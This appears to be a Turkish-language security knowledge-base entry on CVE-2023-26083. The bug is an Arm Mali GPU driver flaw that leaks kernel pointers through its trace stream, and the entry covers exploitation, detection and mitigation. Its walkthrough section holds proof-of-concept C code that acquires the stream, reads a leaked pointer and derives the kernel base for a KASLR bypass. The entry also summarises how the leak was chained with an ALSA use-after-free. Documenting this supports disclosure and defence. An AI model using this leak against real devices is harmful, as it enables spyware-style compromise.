Skip to content

CVE-2023-26083: Arm Mali GPU kernel pointer leak (Timeline Stream / KASLR bypass, in-the-wild)

Mali'nin "timeline stream" performance-tracing tesisi, ham kernel object pointer'larını event identifier'ı olarak kullanıyor ve unprivileged app'ler tarafından okunabiliyordu — userland'e, gerçek bir in-the-wild spyware exploit chain'inde kullanılan deterministik bir KASLR break veriyordu.

Mechanism

Unprivileged bir trace stream'de object ID olarak kernel pointer'ları

Arm'ın Mali kbase driver'ı, çeşitli şekillerde timeline stream, tlstream veya tl denen bir tracing tesisi sunar. GPU ile ilgili event'leri (queue oluşturma, fence wait'leri, command stream aktivitesi vb.) user space'in bir file descriptor üzerinden okuduğu bir ring buffer'a kaydeder. Kritik olarak, iki tasarım kararı birleşip bir information-disclosure zafiyetine dönüştü:

  1. Identifier olarak pointer'lar. Event'leri ilişkilendirmek için trace mesajları kernel object'leri kernel virtual address'leriyle tanımlar — driver, kbase_kcpu_command_queue ve ilişkili dma_fence gibi object'lerin ham pointer'ını doğrudan mesaj payload'ına serialize eder. Pointer, object ID'sidir.

  2. Unprivileged erişim. Stream'e unprivileged kod ulaşabiliyordu ve yalnızca çağıranın kendi GPU operasyonlarını değil, sistem genelinde GPU operasyonlarını trace ediyordu. Sıradan bir app stream'i acquire edip tüm cihazdaki aktivitenin ürettiği kernel address'lerini okuyabiliyordu.

İhlal edilen invariant, KASLR için temeldir: kernel virtual address'leri unprivileged user space tarafından asla gözlemlenebilir olmamalı. KASLR, bir attacker'ın kodun ve structure'ların nerede olduğunu bilememesi için her boot'ta kernel base'ini randomize eder. Tek bir leak edilmiş, tanımlanabilir kernel pointer'ı o defansı çökertir — leak edilmiş bir object address'i ve o object type'ın kernel base'e veya kendi slab'ine göre bilinen (sabit) offset'i verildiğinde attacker şunu hesaplar:

kernel_base = leaked_pointer - known_offset

olasılıksal tahmini deterministik bir KASLR bypass'ına (CWE-200 information exposure) çevirir. Leak'in kendisi hiç write gücü vermez, ama olanak sağlayan ilk aşamadır: kernel layout bilindiğinde, ayrı bir memory-corruption bug'ı hassasça nişanlanabilir. Belgelenen in-the-wild chain'de leak edilen address, forge edilmiş kernel data'yı yerleştirmek ve konumlandırmak için kullanıldı, sonra da arbitrary read/write ve root için ikinci bir bug ile eşleştirildi.

In-the-wild exploit edildi — ticari spyware

CVE-2023-26083, ticari spyware aktivitesine atfedilen gerçek bir Android exploit chain'inde 0-day olarak kullanıldı (Google'ın Threat Analysis Group'u üzerinden raporlandı, ilgili Project Zero analiziyle). Arm raporu 2023-01-17'de aldı; 2023-04-07'de CISA Known Exploited Vulnerabilities kataloğuna eklendi. Etkilenen Mali driver hatları Midgard, Bifrost, Avalon ve Valhall nesillerini kapsıyor.

Walkthrough

Leak'e tamamen unprivileged bir process'ten, timeline stream'i acquire edip trace mesajlarından kernel pointer'larını okuyarak ulaşılır.

Kapsam: bu walkthrough yalnızca Mali leak'ini gösterir

Aşağıdaki adımlar sadece Mali timeline-stream leak'ini (KASLR break + deterministik grooming anchor) adım adım kapsar; code execution vermez. Tam in-the-wild exploit chain'i (code execution için CVE-2023-0266 ALSA UAF ile eşleşme) için References'taki Google Project Zero analizine bak; chain context'i "Mitigation note" bölümünde de özetlenir.

kbase timeline stream üzerinden kavramsal leak akışı
/* 1. Open the Mali kbase device node. */
int fd = open("/dev/mali0", O_RDWR);

/* 2. Version handshake + flags (normal kbase init). */
ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &ver);
ioctl(fd, KBASE_IOCTL_SET_FLAGS, &flags);

/* 3. Acquire a timeline-stream fd. On CSF GPUs a flag enables the
 *    tracepoints whose messages carry kernel pointers. */
struct kbase_ioctl_tlstream_acquire acq = {
    .flags = BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS,
};
int tl_fd = ioctl(fd, KBASE_IOCTL_TLSTREAM_ACQUIRE, &acq);

/* 4. Cause an event that logs a pointer, e.g. create a KCPU queue. */
ioctl(fd, KBASE_IOCTL_KCPU_QUEUE_CREATE, &q);

/* 5. read() the trace stream and parse out the kernel pointer.
 *    The NEW_KCPUQUEUE message embeds the raw kbase_kcpu_command_queue
 *    pointer; later fence-wait messages embed dma_fence pointers. */
unsigned char buf[4096];
read(tl_fd, buf, sizeof(buf));
/* message layout (per public analysis): */
/*   bytes 0-3   : message ID (e.g. NEW_KCPUQUEUE)            */
/*   bytes 4-11  : timestamp                                  */
/*   bytes 12-19 : leaked kcpu_queue kernel pointer  <----    */
uint64_t leaked = *(uint64_t *)(buf + 12);

/* 6. Derive the kernel base from the known offset of this object. */
uint64_t kernel_base = leaked - KNOWN_OFFSET;

Serialization, kbase tlstream tracepoint emitter'larında gerçekleşir (örn. new-KCPU-queue ve enqueue-fence-wait event'lerini loglayan fonksiyon), ki bunlar tam 64-bit pointer'ı hiç redaksiyon yapmadan user-readable ring buffer'a memcpy eder.

Patched bir cihazda beklenen davranış: timeline stream'i acquire etmek yükseltilmiş privilege gerektirir, böylece unprivileged bir app buffer'ı hiç okuyamaz — pointer'lar asla açığa çıkmaz.

Detection

  • Patch level. Unprivileged tlstream erişimini kısıtlayan Aralık 2023 (veya vendor'ın karşılık gelen) security update'ini doğrula; etkilenen Arm driver versiyonları için Arm'ın CVE-2023-26083 rehberini izle.
  • Behavioral. /dev/mali0 açan, KBASE_IOCTL_TLSTREAM_ACQUIRE issue eden ve elde edilen fd'yi read() eden unprivileged bir process temel sinyaldir — özellikle tek amacı pointer taşıyan trace mesajları yaymak olan KCPU queue / fence operasyonları izlediğinde.

Mitigation

  • Gerçek fix olan, timeline stream'i privileged caller'larla kısıtlayan Arm/Android update'ini uygula (tesis artık unprivileged kod tarafından acquire edilemez).
  • Defense in depth: platformun izin verdiği yerde app sandbox'larına GPU debug/trace ioctl'lerine erişimi reddet; kernel-pointer taşıyan her interface'i privileged-only olarak ele al.

Mitigation note

Bu bug saf bir info leak; onu mitige etmek KASLR-bozan bir primitive'i kaldırır ama tek başına chain'lenmiş bir corruption bug'ını durdurmaz. Defender'lar, böyle chain'lerde kullanılan eşleşmiş write/UAF zafiyetinin (örn. çağdaş Mali memory-corruption CVE'leri) de patch'lendiğinden emin olmalı. Project Zero'nun belgelediği in-the-wild chain'de bu Mali primitive, ayrı bir ALSA use-after-free ile eşleştirildi: CVE-2023-0266, ALSA PCM/control katmanında (sound/core/control.c) SNDRV_CTL_IOCTL_ELEM_READ / ..._WRITE ioctl'lerinde eksik rwsem locking'in yol açtığı bir race condition sonucu snd_kcontrol object'inin serbest bırakıldıktan sonra kullanılmasıyla (UAF) kernel arbitrary read/write veren, bağımsız bir privilege-escalation bug'ıdır. İki bug'ın birlikte kullanıldığı (Mali leak → KASLR + deterministik yerleşim, ALSA UAF → write/root) bu pairing, Project Zero'nun "Analyzing a Modern In-the-Wild Android Exploit" analizinde belgelenmiştir. Mali leak'i hem KASLR'ı kırdı hem de bilinen bir kernel adresine küçük miktarda (gözlemlenen ~16 byte) kontrollü veri yerleştirme imkânı vererek UAF refill'ini olasılıksal spray yerine deterministik hale getirdi. Bu yüzden mitigation'ı çift taraflı düşün: leak (CVE-2023-26083) ve eşleşen corruption bug'ı (CVE-2023-0266) birlikte patch'lenmeli.

CVE-2023-0266 hakkında not

Eşleşen ALSA UAF'ı (CVE-2023-0266) bu KB'de ayrı bir kayıt olarak belgelenmemiştir; burada yalnızca chain context'i için özetlenmiştir. İki bug'ın birlikte kullanıldığı pairing'in birincil kaynağı, yukarıda atıf verilen Project Zero analizidir.

References